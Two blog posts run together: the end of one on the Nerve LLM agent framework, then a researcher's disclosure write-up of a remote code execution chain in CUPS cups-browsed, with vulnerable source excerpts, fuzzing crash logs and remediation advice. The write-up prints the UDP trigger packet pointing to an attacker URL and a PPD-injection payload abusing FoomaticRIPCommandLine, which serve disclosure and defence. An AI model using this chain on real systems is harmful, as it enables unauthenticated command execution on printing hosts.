    # pass level='DEBUG' to get more verbose logging or level='SUCCESS' to get quieter logging
    logging.init(level="INFO")

    agent = Agent.create(
        "openai/gpt-4o",  # the model to use
        Configuration(
            agent="You are a helpful assistant.",
            task="What is the weather in {{ place }}?",
            using=[
                "task",  # to allow the agent to set the task as complete autonomously
            ],
            tools=[get_current_weather],
        ),
    )

    # run until done or max steps reached or max cost reached or timeout
    await agent.run(start_state={"place": "Rome"}, max_steps=100, max_cost=10.0, timeout=10)


if __name__ == "__main__":
    asyncio.run(main())

Check the examples/adk folder for more examples.

#Supported Models

Nerve uses LiteLLM, therefore any inference provider in this list is supported and different models can be used either via the -g / --generator command line argument, or by setting the NERVE_GENERATOR environment variable.

For instance, to run the weather agent via a local ollama inference server for free:

1

nerve run -g 'ollama/qwq' weather.yml --place rome

To use another server:

1

nerve run -g 'ollama/qwq?api_base=http://your-ollama-server:11434' weather.yml --place rome

#Other Features

Agents can be made of a single YAML file like in the weather.yml example, or of a folder with an agent.yml inside, so that foobar/agent.yml is detected as an agent called foobar. If you want to access an agent from anywhere in the terminal, you can copy it in the ~/.nerve/agents folder:

1
2
3
4

# create the folder if it doesn't exist
mkdir -p $HOME/.nerve/agents

cp weather.yml $HOME/.nerve/agents

Now you can use it with nerve run weather from anywhere. My favorite agents so far to have in this load path are this changelog generator, and code-audit that I run regularly on my code changes.

Sessions can be recorded with --trace:

1

nerve run weather.yml --place rome --trace trace.jsonl

And replayed with:

1
2

# -f for fast forward
nerve play trace.json -f

As usual, for more features and information, read the f…antastic manual :D

#Getting to 1.0.0

Nerve 1.x.x is a distillation of lessons learned. The first iteration that I wrote during summer 2024 was an explorative, soon-to-be-reimplemented Python PoC. Back then, I thought that reimplementing it in Rust would have been a good idea, so I wrote what now lives on the legacy-rust branch.

Boy, was I wrong.

There’s no single Rust crate for talking to any LLM via a unified interface … and the ones that exist for specific providers don’t support most of the functionalities needed for an agent. Python is simply the language of AI, so by leaving it behind I also left behind all those convenient libraries like LiteLLM and LangChain and I had to reimplement a lot of stuff (and more stuff = more technical debt). Plus a dozen other relatively minor issues. Most importantly after a few months of writing agents and Rust refactorings, I consolidated a set of cleaner, simpler abstractions that allowed me to reimplement everything (again) in Python in a more elegant solution.

This new version can talk to any LLM of any provider, offers a very powerful templating engine (jinja2) for the prompts, can be extended with endless libraries and it makes defining, chaining and running complex agents very simple.

Embrace change.

#Future

I’ll be allocating most of my time on this project. It’s a lot of fun and I believe it has great potential.

Interactive Mode: a debugger-like mode that allows you to pause the agent execution, inspect the state, change things around, ask questions, give feedback, new directives and then continue.

Workflows 2.0: a rewrite of the workflows system with an event bus (both for IPC and network)
that agents can advertise their presence on, and talk to each other with. Each agent is its own process attached to this shared bus.

Browser-use: so hard to get right for real, work in progress …

Project-MU: an open source evaluation framework built with Nerve.

More Tools: the standard library will probably be growing with more capabilities.

More Examples: the more the better! Some of the agents will probably be moved to their own repository as mini projects.

More Integrations: bettercap is just the beginning.

BTW I’m looking for a (remote) job, so if you have any openings for a good software engineer with hands-on experience with AI/ML and cybersecurity, feel free to check my resume, ping me on LinkedIN or drop me a line at evilsocket AT gmail DOT com

From a generic security point of view, a whole Linux system as it is nowadays is just an endless and hopeless mess of security holes waiting to be exploited.

Well they’re not wrong!

While this is not the first time I try to more or less responsibly report a vulnerability, it is definitely the weirdest and most frustrating time as some of you might have noticed from my socials, and it is also the last time. More on this later, but first.

#Summary

• CVE-2024-47176 | cups-browsed <= 2.0.1 binds on UDP INADDR_ANY:631 trusting any packet from any source to trigger a Get-Printer-Attributes IPP request to an attacker controlled URL.
• CVE-2024-47076 | libcupsfilters <= 2.1b1 cfGetPrinterAttributes5 does not validate or sanitize the IPP attributes returned from an IPP server, providing attacker controlled data to the rest of the CUPS system.
• CVE-2024-47175 | libppd <= 2.1b1 ppdCreatePPDFromIPP2 does not validate or sanitize the IPP attributes when writing them to a temporary PPD file, allowing the injection of attacker controlled data in the resulting PPD.
• CVE-2024-47177 | cups-filters <= 2.0.1 foomatic-rip allows arbitrary command execution via the FoomaticRIPCommandLine PPD parameter.

(can you already see where this is going? :D)

Plus a couple of other bugs that will be mentioned and that are arguably security issues but have been pretty much ignored during the conversation with the developers and the CERT. They are still there, along with several other bugs that are more or less exploitable.

#Impact

A remote unauthenticated attacker can silently replace existing printers’ (or install new ones) IPP urls with a malicious one, resulting in arbitrary command execution (on the computer) when a print job is started (from that computer).

#Entry Points

• WAN / public internet: a remote attacker sends an UDP packet to port 631. No authentication whatsoever.
• LAN: a local attacker can spoof zeroconf / mDNS / DNS-SD advertisements (we will talk more about this in the next writeup ) and achieve the same code path leading to RCE.

Quoting one of the first comments from the guy who literally wrote the book about CUPS, while trying to explain to me why this is not that bad:

I am just pointing out that the public Internet attack is limited to servers that are directly connected to the Internet

#Affected Systems

CUPS and specifically cups-browsed are packaged for most UNIX systems:

• most GNU/Linux distributions
• some BSDs.
• Google Chromium / ChromeOS … maybe?
• Oracle Solaris
• Possibly more?

This thing is packaged for anything, in some cases it’s enabled by default, in others it’s not, go figure. Full disclosure, I’ve been scanning the entire public internet IPv4 ranges several times a day for weeks, sending the UDP packet and logging whatever connected back. And I’ve got back connections from hundreds of thousands of devices, with peaks of 200-300K concurrent clients. This file contains a list of the unique Linux systems affected. Note that everything that is not Linux has been filtered out. That is why I was getting increasingly alarmed during the last few weeks.

#Remediation

• Disable and remove the cups-browsed service if you don’t need it (and probably you don’t).
• Update the CUPS package on your systems.
• In case your system can’t be updated and for some reason you rely on this service, block all traffic to UDP port 631 and possibly all DNS-SD traffic (good luck if you use zeroconf).

Entirely personal recommendation, take it or leave it: I’ve seen and attacked enough of this codebase to remove any CUPS service, binary and library from any of my systems and never again use a UNIX system to print. I’m also removing every zeroconf / avahi / bonjour listener. You might consider doing the same.

#Intro

One lazy day a few weeks ago, I was configuring Ubuntu on a new laptop (GPD Pocket 3, amazing little hacking machine btw) and for reasons that are irrelevant to this post I wanted to check which services were listening on UDP ports - so I type netstat -anu in a terminal and after checking the output, I notice something interesting:

1
2
3
4

Proto Recv-Q Send-Q Local Address           Foreign Address         State 
...
udp        0      0 0.0.0.0:631             0.0.0.0:*
...

The 0.0.0.0 part is especially unusual, it means that whatever process is listening on port 631, it is listening on and responding to any network interface: LAN, WAN, VPN, whatever you have. I also vaguely recalled that CUPS, the Common Unix Printing System, uses TCP port 631, but this is UDP. I investigated with a lsof -i :631, that confirmed CUPS on 631 tcp plus this other process, cups-browsed (likely related to CUPS), using the udp port instead:

1
2
3

cupsd     1868642 root    6u  IPv6 32034095      0t0  TCP ip6-localhost:ipp (LISTEN)
cupsd     1868642 root    8u  IPv4 32034096      0t0  TCP localhost:ipp (LISTEN)
cups-brow 1868652 root    7u  IPv4 32024370      0t0  UDP *:631 

And ps aux | grep "cups-brow" ultimately confirmed that this process runs as root:

1

root     1868652  0.0  0.0 172692 11196 ?        Ssl  13:20   0:00 /usr/sbin/cups-browsed

#What is cups-browsed?

After some googling I found out that cups-browsed is indeed part of the CUPS system and it is responsible for discovering new printers and automatically adding them to the system. Very interesting, I had no idea Linux just added anything found on a network before the user can even accept or be notified. The more you know!

At this point I was extremely intrigued and curious, so I start digging into the source code of this service. While it’s pretty messy on one hand, it is also self contained and relatively easy to understand. So I quickly search for bind API usage and confirm that this thing is indeed listening on INADDR_ANY:631 UDP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

...
struct sockaddr_in addr;
memset (&addr, 0, sizeof (addr));
addr.sin_addr.s_addr = htonl (INADDR_ANY);
addr.sin_family = AF_INET;
addr.sin_port = htons (BrowsePort);
if (bind (browsesocket, (struct sockaddr *)&addr, sizeof (addr)))
{
    debug_printf("failed to bind CUPS Browsing socket: %s\n",
        strerror (errno));
    close (browsesocket);
    browsesocket = -1;
}
...

Cool, this code is using global variables like there’s no tomorrow, so searching for the browsesocket revealed that the process_browse_data function is reading a packet from it, performing some checks and then some parsing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

got = recvfrom (browsesocket, packet, sizeof (packet) - 1, 0,
        &srcaddr.addr, &srclen);

// ... error checking removed for brevity ...

packet[got] = '\0';
httpAddrString (&srcaddr, remote_host, sizeof (remote_host) - 1);

// Check this packet is allowed
if (!allowed ((struct sockaddr *) &srcaddr))
{
    debug_printf("browse packet from %s disallowed\n",
            remote_host);
    return (TRUE);
}

// debug loggig removed for brevity

if (sscanf (packet, "%x%x%1023s", &type, &state, uri) < 3)

Essentially, this service expects an UDP packet with the format HEX_NUMBER HEX_NUMBER TEXT_DATA and, if the allowed function returns true for the specific source IP, more things happen later.

Well it turns out that while you could configure who can and who can’t connect by editing the /etc/cups/cups-browsed.conf configuration file … the default configuration file, on pretty much any system, is entirely commented out and simply allows anyone.

Great.

Later in the code, some pointer operations are performed to parse the packet. If all checks pass, two text fields parsed from the packet are passed to the found_cups_printer function. We’ll return to this function in a moment, but for now let’s focus on the parsing.

#Stack Buffer Overflows and Race Conditions

Keep in mind that while the CUPS package itself is covered in oss-fuzz (barely to be honest …), cups-browsed is not; there seems to be no fuzzing coverage for this component. And I don’t know about you, but to me this parsing routine looks fishy and definitely something worth fuzzing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

end = packet + sizeof(packet);
c = strchr (packet, '\"');
if (c >= end)
    return (TRUE);

if (c)
{
    // Extract location field
    {
        int i;
        c++;
        for (i = 0;
             i < sizeof (location) - 1 && *c != '\"' && c < end;
             i++, c++)
                location[i] = *c;
        location[i] = '\0';
        debug_printf("process_browse_data: location: |%s|\n", location); // !!
    }
    for (; c < end && *c != '\"'; c++);

    if (c >= end)
        return (TRUE);

    if (*c == '\"')
        for (c++; c < end && isspace(*c); c++);

    if (c >= end)
        return (TRUE);

    // Is there an info field?
    if (*c == '\"')
    {
        int i;
        c++;
        for (i = 0;
             i < sizeof (info) - 1 && *c != '\"' && c < end;
             i++, c++)
            info[i] = *c;
        info[i] = '\0';
        debug_printf("process_browse_data: info: |%s|\n", info); // !!
    }
}

if (c >= end)
    return (TRUE);

So I quickly put together a fuzzing target around process_browse_data, start my good old friend AFL, and wait. You won’t believe what happens next!!!

There are 5 different fuzzing inputs that trigger this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

process_browse_data() in THREAD 136077340691200
got= 1135
httpAddrGetString(addr=0x7bc2f7f098a0, s=0x7bc2f7f09a00, slen=255)
1httpAddrGetString: returning "UNKNOWN"...
browse packet received from UNKNOWN
process_browse_data: location: |IIIIIIII???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????@???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????|
---
==28780==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7bc2f7f09820 at pc 0x58293fb0926b bp 0x7fffa0308490 sp 0x7fffa0308488
READ of size 1 at 0x7bc2f7f09820 thread T0
    #0 0x58293fb0926a in process_browse_data(char const*) /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:264:42
    #1 0x58293fb093d6 in main /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:292:9
    #2 0x7bc2fa42a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #3 0x7bc2fa42a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #4 0x58293fa293e4 in _start (/home/evilsocket/lab/cups-fuzz/process_browse_data/fuzz-target+0x2d3e4) (BuildId: a6df1903658bcb123c38a4a928f80e2a81b617e1)

Address 0x7bc2f7f09820 is located in stack of thread T0 at offset 2080 in frame
    #0 0x58293fb08557 in process_browse_data(char const*) /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:164

  This frame has 8 object(s):
    [32, 2080) 'packet' (line 165) <== Memory access at offset 2080 overflows this variable
    [2208, 2464) 'srcaddr' (line 166)
    [2528, 2532) 'type' (line 169)
    [2544, 2548) 'state' (line 170)
    [2560, 2816) 'remote_host' (line 171)
    [2880, 3904) 'uri' (line 172)
    [4032, 5056) 'location' (line 173)
    [5184, 6208) 'info' (line 174)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:264:42 in process_browse_data(char const*)
Shadow bytes around the buggy address:
  0x7bc2f7f09580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7bc2f7f09800: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x7bc2f7f09880: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09980: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 04 f2 04 f2
  0x7bc2f7f09a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bc2f7f09a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==28780==ABORTING

I believe it being due to the pointer being dereferenced before the exit condition is verified, in both loops. I also found out later on that there’s a race condition and possibly DoS in the lock acquired here.

Both these issues have been reported and thoroughly documented, to the devs and the CERT, but nobody seemed to give a damn. I can tell you that there’re other, more easily exploitable code paths going on, not just in the discovery mechanism - also reported and ignored. To this day they have not been acknowledged or patched. Happy hunting.

However, I’m a bit lazy and most importantly I’m a noob when it comes to binary exploitation. Hell, I can barely tell whether a buffer overflow or a race condition are exploitable or not. Hardening mechanisms are getting more and more complex to bypass and to be honest I had no intention of spending months on this stuff - I hate printers. So for the moment I decided to move on to what seemed to be a lower hanging fruit.

#Back to found_cups_printer

By looking at found_cups_printer we can see that one of the two text fields parsed from the packet is a URL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

//
// A CUPS printer has been discovered via CUPS Browsing
// or with BrowsePoll
//
static void
found_cups_printer(const char *remote_host,
   const char *uri,
   const char *location,
   const char *info)
{
  // ... initialization skipped ...

  httpSeparateURI(HTTP_URI_CODING_ALL, uri,
  scheme, sizeof(scheme) - 1,
  username, sizeof(username) - 1,
  host, sizeof(host) - 1,
  &port,
  resource, sizeof(resource)- 1);

After some further validation and parsing, this URL and other data are then passed as arguments to the examine_discovered_printer_record function, which ultimately executes create_remote_printer_entry. The create_remote_printer_entry function will then call cfGetPrinterAttributes from libcupsfilters:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

// For a remote CUPS printer our local queue will be raw or get a
// PPD file from the remote CUPS server, so that the driver on the
// remote CUPS server gets used. So we will not generate a PPD file
// or interface script at this point.
p->netprinter = 0;
if (p->uri[0] != '\0')
{
    p->prattrs = cfGetPrinterAttributes(p->uri, NULL, 0, NULL, 0, 1);
    debug_log_out(cf_get_printer_attributes_log);
    if (p->prattrs == NULL)
    {
        debug_printf("get-printer-attributes IPP call failed on printer %s (%s).\n",
            p->queue_name, p->uri);
        goto fail;
    }
}

To understand what this means, we’ll need to briefly mention what the IPP protocol is, but for now the key points are:

• A packet containing any URL, in the form of 0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever, gets to UDP port 631
• This triggers a sequence of events that result in cups-browsed connecting to that URL, a drive-by kind of thing.

So I tell to myself: there’s no freaking way that if I send this packet to a public IP running CUPS (thank you shodan.io), that computer will connect back to the server I specified. No way.

I hack some python code together, fire up a VPS and try anyway.

HOLY SH!!!!! Not only it connected back immediately, but it also reported the exact kernel version and architecture in the User-Agent header! We’ll see later how this protocol also reports the requesting username (on the target) for some requests. Also this aspect, that to me matches pretty well with CWE-200, has been reported and just scoffed off as part of the mechanism. Alright … let’s not waste time on arguing whether or not this is a problem, let’s get to the juicy stuff. We know that this thing talks HTTP and POSTs some semi binary payload, what the hell is that?

#Internet Printing Protocol

The Internet Printing Protocol, in short IPP, is a specialized communication protocol for communication between client devices (computers, mobile phones, tablets, etc.) and printers (or print servers). It allows clients to submit one or more print jobs to the network-attached printer or print server, and perform tasks such as querying the status of a printer, obtaining the status of print jobs, or cancelling individual print jobs.

Essentially, the system now believes that we are a printer and it is sending us, encapsulated in HTTP, a Get-Printer-Attributes request in order to fetch printer attributes such as the model, vendor and several others. It makes sense, the system discovered a new printer and somehow it has to know what it is. Well …

I went back to writing some code and, by using the ippserver python package I was now able to respond properly, with attributes I controlled, to the service request. My fake printer was immediately added to the local printers with no notification whatsoever to the user.

AMAZING!

What can we do with this? At this point I enabled debug logs in the service so I could observe what was going on when my fake printer was being discovered and added, and noticed these lines:

1
2
3
4
5
6
7
8
9
10
11

...
Wed Sep  4 13:15:32 2024 127517144909504 Creating permanent CUPS queue God_192_168_50_19.
Wed Sep  4 13:15:32 2024 127517144909504 Loading saved printer options for God_192_168_50_19 from /var/cache/cups-browsed/cups-browsed-options-God_192_168_50_19
Wed Sep  4 13:15:32 2024 127517144909504 Failed reading file /var/cache/cups-browsed/cups-browsed-options-God_192_168_50_19, probably no options recorded yet
Wed Sep  4 13:15:32 2024 127517144909504 Print queue God_192_168_50_19 is for remote CUPS queue(s) and we get notifications from CUPS, using implicit class device URI implicitclass://God_192_168_50_19/
Wed Sep  4 13:15:32 2024 127517144909504 PPD generation successful: PDF PPD generated.
Wed Sep  4 13:15:32 2024 127517144909504 Created temporary PPD file: /tmp/00f9466d902dc
Wed Sep  4 13:15:32 2024 127517144909504 Using PPD /tmp/00f9466d902dc for queue God_192_168_50_19.
Wed Sep  4 13:15:32 2024 127517144909504 Editing PPD file /tmp/00f9466d902dc for printer God_192_168_50_19, setting the option defaults of the previous cups-browsed session and doing client-side filtering of the job, saving the resulting PPD in /tmp/00f9466d9231e.
Wed Sep  4 13:15:32 2024 127517144909504 Non-raw queue God_192_168_50_19 with PPD file: /tmp/00f9466d9231e
...

Wait what?! It looks like the service fetches these attributes and then creates some sort of temporary file, a “PPD”, on which these attributes are possibly saved.

If we search for the PPD generation successful string that appears in the logs, we find ourselves in the create_queue function, where we can see how the attributes are passed to the ppdCreatePPDFromIPP2 API in libppd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

// If we do not want CUPS-generated PPDs or we cannot obtain a
// CUPS-generated PPD, for example if CUPS does not create a
// temporary queue for this printer, we generate a PPD by
// ourselves
printer_ipp_response = (num_cluster_printers == 1) ? p->prattrs :
printer_attributes;
if (!ppdCreatePPDFromIPP2(ppdname, sizeof(ppdname), printer_ipp_response,
        make_model,
        pdl, color, duplex, conflicts, sizes,
        default_pagesize, default_color,
        ppdgenerator_msg, sizeof(ppdgenerator_msg)))
{
    if (errno != 0)
        debug_printf("Unable to create PPD file: %s\n",
            strerror(errno));
    else
        debug_printf("Unable to create PPD file: %s\n",
            ppdgenerator_msg);
    p->status = STATUS_DISAPPEARED;
    current_time = time(NULL);
    p->timeout = current_time + TIMEOUT_IMMEDIATELY;
    goto end;
}
else
{
    debug_printf("PPD generation successful: %s\n", ppdgenerator_msg);
    debug_printf("Created temporary PPD file: %s\n", ppdname);
    ppdfile = strdup(ppdname);
}

We finally get to libppd, where the ppdCreatePPDFromIPP2 API is used to save some of those attacker controlled text attributes to a file with a very specific, line oriented syntax, without any sanitization whatsoever:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

if ((attr = ippFindAttribute(supported, "printer-make-and-model",
       IPP_TAG_TEXT)) != NULL)
    strlcpy(make, ippGetString(attr, 0, NULL), sizeof(make));
  else if (make_model && make_model[0] != '\0')
    strlcpy(make, make_model, sizeof(make));
  else
    strlcpy(make, "Unknown Printer", sizeof(make));

  if (!strncasecmp(make, "Hewlett Packard ", 16) ||
      !strncasecmp(make, "Hewlett-Packard ", 16))
  {
    model = make + 16;
    strlcpy(make, "HP", sizeof(make));
  }
  else if ((model = strchr(make, ' ')) != NULL)
    *model++ = '\0';
  else
    model = make;

  cupsFilePrintf(fp, "*Manufacturer: \"%s\"\n", make);             // <--- LOL
  cupsFilePrintf(fp, "*ModelName: \"%s %s\"\n", make, model);      // <--- LOL
  cupsFilePrintf(fp, "*Product: \"(%s %s)\"\n", make, model);      // <--- LOL
  cupsFilePrintf(fp, "*NickName: \"%s %s, %sdriverless, %s\"\n",
 make, model, (is_fax ? "Fax, " : ""), VERSION);
  cupsFilePrintf(fp, "*ShortNickName: \"%s %s\"\n", make, model);  // <--- LOL

Notice how many attributes are fprintf’ed, unescaped, into the file. The printer-make-and-model is just one of them. So, what the hell is a PPD file now?

NOTE: These two API are also used in other parts of the overall CUPS system, not just the discovery. IYKWIM.

#PostScript Printer Description

PostScript Printer Description (PPD) files are created by vendors to describe the entire set of features and capabilities available for their PostScript printers.
A PPD also contains the PostScript code (commands) used to invoke features for the print job. As such, PPDs function as drivers for all PostScript printers, by providing a unified interface for the printer’s capabilities and features.

So a PPD file is a text file provided by a vendor that describes in a domain specific language the printer capabilities to CUPS and instructs it on how to use it properly. It looks something like this:

1
2
3
4
5
6
7
8
9

*% =================================
*% Basic Device Capabilities
*% =================================
*LanguageLevel: "2"
*ColorDevice: True
*DefaultColorSpace: CMYK
*TTRasterizer: Type42
*FileSystem: False
*Throughput: "10"

And there are tons of different instructions that are supported and can be used to do all sorts of things. I spent a few hours just reading the PPD specs (thank you MIT), and studying the CUPS specific extensions in order to find something I could rely to perform an attack. And then I found about the cupsFilter2 directive:

A filter is any executable contained in the /usr/lib/cups/filter path (CUPS does check this, you can’t specify any binary), which will get executed when a print job is sent to the printer, in order to perform some document conversion if the printer doesn’t support that specific format. So, given that we have a constraint on which binary we can execute, we need to find a way to leverage one of the existing filters to run arbitrary commands. And also bypass these checks here, which only takes a space before the colon.

#The problematic child: foomatic-rip

Another search revealed pretty quickly what could be defined as the necessary evil of the CUPS family, the foomatic-rip filter. This executable has a long history of being leveraged for exploitation, starting from the first known (to me at least) CVE-2011-2964 and CVE-2011-2697 back in 2011. The filter accepted the FoomaticRIPCommandLine directive in the PPD that would allow ANY command to be executed through it. Nice!

According to the records, this is the commit that fixed those CVEs. However, you might have noticed that this package is different and it’s called foomatic-filters. When foomatic-filters was integrated in the CUPS system, this fix was not ported to CUPS, as it is possible to verify by the --ppd argument, initially removed as part of the fix, and still present in the code today. And in fact, we can find mentions of the FoomaticRIPCommandLine directive being leveraged for arbitrary command execution in the more recent CVE-2024-35235.

So apparently foomatic-rip was a known issue (confirmed by the CUPS devs), but somehow it has not been fixed for … decades? Why is something that allows arbitrary commands in a generally untrusted context not considered a security issue worth fixing? I’ll tell you why! Because it’s very hard to fix. According to the CUPS developers:

… it is very difficult to limit what can be provided in the FoomaticRIPCommandLine line in the PPD file. REDACTED and the rest of the OpenPrinting team have been talking about ways to limit what can be done through Foomatic without breaking existing drivers - we can certainly recommend that people not use Foomatic, but there are likely hundreds of older printer models (before 2010) that are only supported through Foomatic.

And many of those hundreds of models, really use this directive in creative ways such as:

1
2
3

*FoomaticRIPCommandLine: "(printf '\033%%-12345X@PJL\n@PJL JOB\n@PJL SET COPIES=&copies;\n'%G|perl -p -e "s/\x26copies\x3b/1/");
(gs -q -dBATCH -dPARANOIDSAFER -dNOPAUSE -dNOINTERPOLATE %B%A%C %D%E | perl -p -e "s/^\x1b\x25-12345X//" | perl -p -e "s/\xc1\x01\x00\xf8\x31\x44/\x44/g");
(printf '@PJL\n@PJL EOJ\n\033%%-12345X')"

I had no idea that this can happen every time you print something, and to be frank it’s quite scary. They have to allow FoomaticRIPCommandLine to accept pretty much anything (including perl as you can see), or many printers will just stop working on UNIX.

#Remote Command Execution chain

So, in theory, we should now be able to:

• Force the target machine to connect back to our malicious IPP server.
• Return an IPP attribute string that will inject controlled PPD directives to the temporary file.
• Wait for a print job to be sent to our fake printer for the PPD directives, and therefore the command, to be executed.

Shall we? This is the configuration payload for the IPP server (this is a YAML file that you will be able to use with the next bettercap release and its new zeroconf and ipp modules):

1
2
3
4
5
6
7
8
9
10
11
12
13

# ... other configuration removed for brevity ...

# enables the IPP server
ipp:
    # this can be the name of an existing device
    # in which case its original IPP record will be transparently hijacked
    printer-name: EVIL_PRINTER

    # where the magic happens, it's important to preserve the new lines
    printer-privacy-policy-uri: |
        https://www.google.com/"
        *FoomaticRIPCommandLine: "echo 1 > /tmp/PWNED"
        *cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip

You can see how we’re returning a printer-privacy-policy-uri attribute string (it can be any of the many attributes saved to the PPD) that will:

1. Set printer-privacy-policy-uri to "https://www.google.com/", close the PPD string with the double quote, and add a new line.
2. Inject the *FoomaticRIPCommandLine: "echo 1 > /tmp/PWNED" line with our command in the PPD.
3. Inject the *cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip line (notice the spaces before and after the colon and no closing double quotes) directive to instruct CUPS to execute /usr/lib/cups/filter/foomatic-rip (with our FoomaticRIPCommandLine) when a print job is sent.

In this video you can see me on my attacker machine (on the left) using the first version of this exploit to attack my new laptop, a fully patched Ubuntu 24.04.1 LTS running cups-browsed 2.0.1, and (finally!!!) achieving command execution:

#Personal Considerations

You will maybe be thinking now “wow, that’s a lot of stuff to read, code, RFCs, PDFs of forgotten standards, this research must have been so tiring”, but in reality this was a weekend worth of rabbit holes, this was the fun part. The actual work, the heavy, boring stuff started when on September 5, after confirming my findings, I decided to open a security advisory on the OpenPrinting cups-browsed repository and do what to me was the right thing to do: responsible disclosure.

I won’t go into the details of the initial conversation, or the ones that followed. You are free to read them (if they will ever open any of the threads and you are willing to read 50+ pages of conversations) or not, and make your own opinion.

While the research only took a couple of days, this part took 22. And this part was not fun. I will only say that to my personal experience, the responsible disclosure process is broken. That a lot is expected and taken for granted from the security researchers by triagers that behave like you have to “prove to be worth listening to” while in reality they barely care to process and understand what you are saying, only to realize you were right all along three weeks later (if at all).

Two days for the research, 249 lines of text for the fully working exploit.

Twenty-two days of arguments, condescension, several gaslighting attempts (the things i’ve read these days … you have no idea), more or less subtle personal attacks, dozens of emails and messages, more than 100 pages of text in total. Hours and hours and hours and hours and fucking hours. Not to mention somehow being judged by a big chunk of the infosec community with a tendency of talking and judging situations they simply don’t know.

Let that sink in for a moment … WTAF.

And we’re not talking about time spent on fixes while I was impatient and throwing a tantrum on twitter. The actual fixes (or a part of them) started being pushed much later. The vast majority of the time has been spent arguing whether or not these were issues worth considering. While I was trying to report that there’s something bad that should be addressed asap, the devs were being dismissive (and pushing other code, also vulnerable, for other functionalities instead of fixing) because I dared to criticize the design of their software. While at the same time I was trying to reach out privately to de-escalate and assure whoever was getting offended that my intent was not adversarial:

To the people that more or less directly questioned my integrity, accused me of spectacularization and of spreading FUD on my socials: I don’t do this for a living. I don’t need CVEs to get a job or to prove how good my kung-fu is. Or any attention other than what my projects and research already provide. I don’t play InfoSec Influencer™ like many. To put it like Javier beautifully put it, my mission was to interrupt the triagers focus until they re-prioritized. When I saw that what I thought was pretty serious was being dismissed as an annoyance, I used the only platform I had plus a pinch of drama as a tool to have them fucking re-prioritize. And it worked, wonderfully, more fixes happened after two tweets than with all the arguing and talking.

Don’t hate me, hate the system that forced me to do that in order to be taken seriously.

#About the 9.9 CVSS

Somebody also accused of making things up, especially due to the 9.9 CVSS severity that I claimed in this tweet. Granted, as I very transparently said in the thread, I’m really not familiar with CVSS scores, how they are assigned and so on. But here’s a screenshot from the VINCE report of the initial CVSS scores, including the 9.9, being estimated by a RedHat engineer (and also reviewed by another one):

As I said, I’m not an expert, and I think that the initial 9.9 was mostly due to the fact that the RCE is trivial to exploit and the package presence so widespread. Impact wise I wouldn’t classify it as a 9.9, but then again, what the hell do I know?

By the way, CERT’s VINCE either has a backdoor, or an inside leak, or has zero vetting on who they add to a disclosure, because there’s been a leak of the exact markdown report that I only shared there, including the exploit.

What a fucking circus.

#One More Thing

When initially I wrote exploit.py, it only sent the UDP packet and created the rogue IPP server. Then with time I started adding features to it, especially zeroconf advertising, and it became a tool. So at some point I decided to rewrite it in Go and integrate this new code in bettercap, giving it the ability to transparently impersonate any service advertised via zeroconf / Bonjour / Avahi on a LAN and doing interesting things with the TXT records and specific service attributes, like IPP. And I discovered other interesting stuff :)

In part II of this series (date TBD since there’s another disclosure in process), we’ll see how to use these new bettercap modules (not yet released) to attack Apple macOS.

